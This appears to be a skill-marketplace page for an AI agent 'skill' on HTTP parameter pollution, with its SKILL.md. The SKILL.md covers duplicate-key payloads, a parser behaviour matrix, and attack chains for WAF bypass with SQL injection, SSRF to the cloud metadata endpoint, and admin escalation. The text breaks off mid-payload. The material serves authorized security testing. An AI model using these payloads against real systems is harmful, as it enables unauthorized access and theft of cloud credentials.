
Http Parameter Pollution
Model duplicate query and body keys when CDN, WAF, proxy, and app frameworks disagree on which parameter value wins.
Overview
HTTP Parameter Pollution is an agent skill for the Ship phase that explains how duplicate parameters fool WAFs, proxies, and apps when each layer picks a different winning value.
Install
npx skills add https://github.com/yaklang/hack-skills --skill http-parameter-pollutionWhat is this skill?
- Full path model: browser → CDN/WAF → reverse proxy → framework → business logic
- First-pass payloads for id, url, amount, csrf, and user duplication scenarios
- Body variants for urlencoded and multipart duplicate field names
- Section matrix for first/last/merge/array assumptions across stacks
- Scenario chains for WAF bypass, SSRF second URL, and CSRF token confusion
- Quick-start lists six first-pass duplicate-key payload patterns (id, url, amount, csrf, user)
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 2/3 security scanners passed (skills.sh audits).
What problem does it solve?
Your WAF or auth layer validates one copy of a parameter while your app executes another, and you lack a structured way to test first-vs-last parsing.
Who is it for?
Solo builders reviewing layered stacks (CDN + reverse proxy + framework) on forms and APIs with duplicated keys.
Skip if: Greenfield apps with a single parsing layer and no WAF or proxy split—HPP payoff is low without stack disagreement.
When should I use this skill?
Filters and application layers disagree on which duplicate query or body key value wins, enabling bypass, SSRF, logic abuse, or CSRF confusion.
What do I get? / Deliverables
You get a repeatable HPP test matrix and scenario chains to confirm or eliminate bypass, SSRF, logic, and CSRF confusion before launch.
- HPP payload sets
- Stack fingerprint checklist
- Scenario chain designs
Recommended Skills
Journey fit
How it compares
Complements generic input-validation skills by focusing on multi-hop parameter winner semantics, not single-value sanitization rules.
Common Questions / FAQ
Who is http-parameter-pollution for?
Developers and indie security reviewers who ship web apps behind CDNs or WAFs and need HPP test cases without rebuilding the entire OWASP testing guide.
When should I use http-parameter-pollution?
Use it in Ship security review when the same parameter can appear multiple times, when filters and backend stacks differ, or when SSRF/CSRF protections might read a different occurrence than the action handler.
Is http-parameter-pollution safe to install?
It documents attack patterns for authorized testing—check the Security Audits panel on this page and never run pollution chains against systems without permission.
SKILL.md
READMESKILL.md - Http Parameter Pollution
# SKILL: HTTP Parameter Pollution (HPP) > **AI LOAD INSTRUCTION**: Model the **full request path**: browser → CDN/WAF → reverse proxy → app framework → business code. Duplicate keys (`a=1&a=2`) are not an error at HTTP level; each hop may pick first, last, join, or array-ify. Test HPP when WAF and app disagree, or when internal HTTP clients rebuild query strings. Routing note: when the same parameter appears multiple times, or WAF/backend stacks differ, use the Section 1 matrix to test first/last/merge assumptions, then design Section 3 scenario chains. ## 0. QUICK START **Hypothesis**: the **security check** reads one occurrence of a parameter while the **action** reads another. ### First-pass payloads ```text id=1&id=2 id=1&id=1%20OR%201=1 url=https://legit.example&id=https://evil.example amount=1&amount=9999 csrf=TOKEN_A&csrf=TOKEN_B user=alice&user=admin ``` ### Body variants (repeat for POST) ```text application/x-www-form-urlencoded id=1&id=2 multipart/form-data ------boundary Content-Disposition: form-data; name="id" 1 ------boundary Content-Disposition: form-data; name="id" 2 ``` ### Quick methodology 1. Fingerprint **front** stack (CDN/WAF) vs **origin** (language/framework) using baseline `a=1&a=2`. 2. Send **both** orders: `a=1&a=2` and `a=2&a=1` (some parsers are order-sensitive). 3. If JSON: test **duplicate keys** and Content-Type confusion (see Section 2). --- ## 1. SERVER BEHAVIOR MATRIX Typical defaults — **always confirm**; middleware and custom parsers override these. | Technology | Behavior | Example: `a=1&a=2` | |---|---|---| | PHP / Apache (`$_GET`) | Last occurrence | `a=2` | | ASP.NET / IIS | Often comma-joined (all) | `a=1,2` | | JSP / Tomcat (servlet param) | First occurrence | `a=1` | | Python / Django (`QueryDict`) | Last occurrence | `a=2` | | Python / Flask (`request.args`) | First occurrence | `a=1` | | Node.js / Express (`req.query`) | Array of values | `a=['1','2']` (shape may vary by parser version) | | Perl / CGI | First occurrence | `a=1` | | Ruby / Rack (Rack::Utils) | Last occurrence | `a=2` | | Go `net/http` (`ParseQuery`) | First occurrence | `a=1` | **Why it matters**: a WAF on **IIS** might see `1,2` while PHP backend receives `2` only — or the reverse if a proxy normalizes. --- ## 2. PAYLOAD PATTERNS ### 2.1 Basic duplicate key ```http GET /api?q=safe&q=evil HTTP/1.1 ``` ### 2.2 Array-style (PHP / some frameworks) ```http GET /api?id[]=1&id[]=2 HTTP/1.1 ``` ### 2.3 Mixed array + scalar ```http GET /api?item[]=a&item=b HTTP/1.1 ``` ### 2.4 Encoded ampersand (parser differential) ```text # Literal & inside a value vs new pair — depends on decoder param=value1%26other=value2 param=value1&other=value2 ``` ### 2.5 Nested / bracket keys ```http GET /api?user[name]=a&user[role]=user&user[role]=admin HTTP/1.1 ``` ### 2.6 JSON duplicate keys ```json {"test":"user","test":"admin"} ``` Many parsers keep **last** key; some keep **first**. JavaScript `JSON.parse` keeps the last duplicate key. --- ## 3. ATTACK SCENARIOS ### 3.1 HPP + WAF bypass **Pattern**: WAF inspects **first** value; application uses **last**. ```text id=1&id=1%20UNION%20SELECT%20... ``` Also try: benign value in JSON field duplicated in query string, if gateway merges sources differently. ### 3.2 HPP + SSRF **Pattern**: validator reads **safe** URL; fetcher reads **internal/evil** URL. ```text url=https://allowed.cdn.example/&url=http://169.254.169.254/ ``` Confirm which component (library vs app) consumes which occurrence. ### 3.3 HPP + CSRF **Pattern**: duplicate anti-CSRF token so one copy satisfies parser A and another satisfies parser B. ```text csrf=LEGIT&csrf=I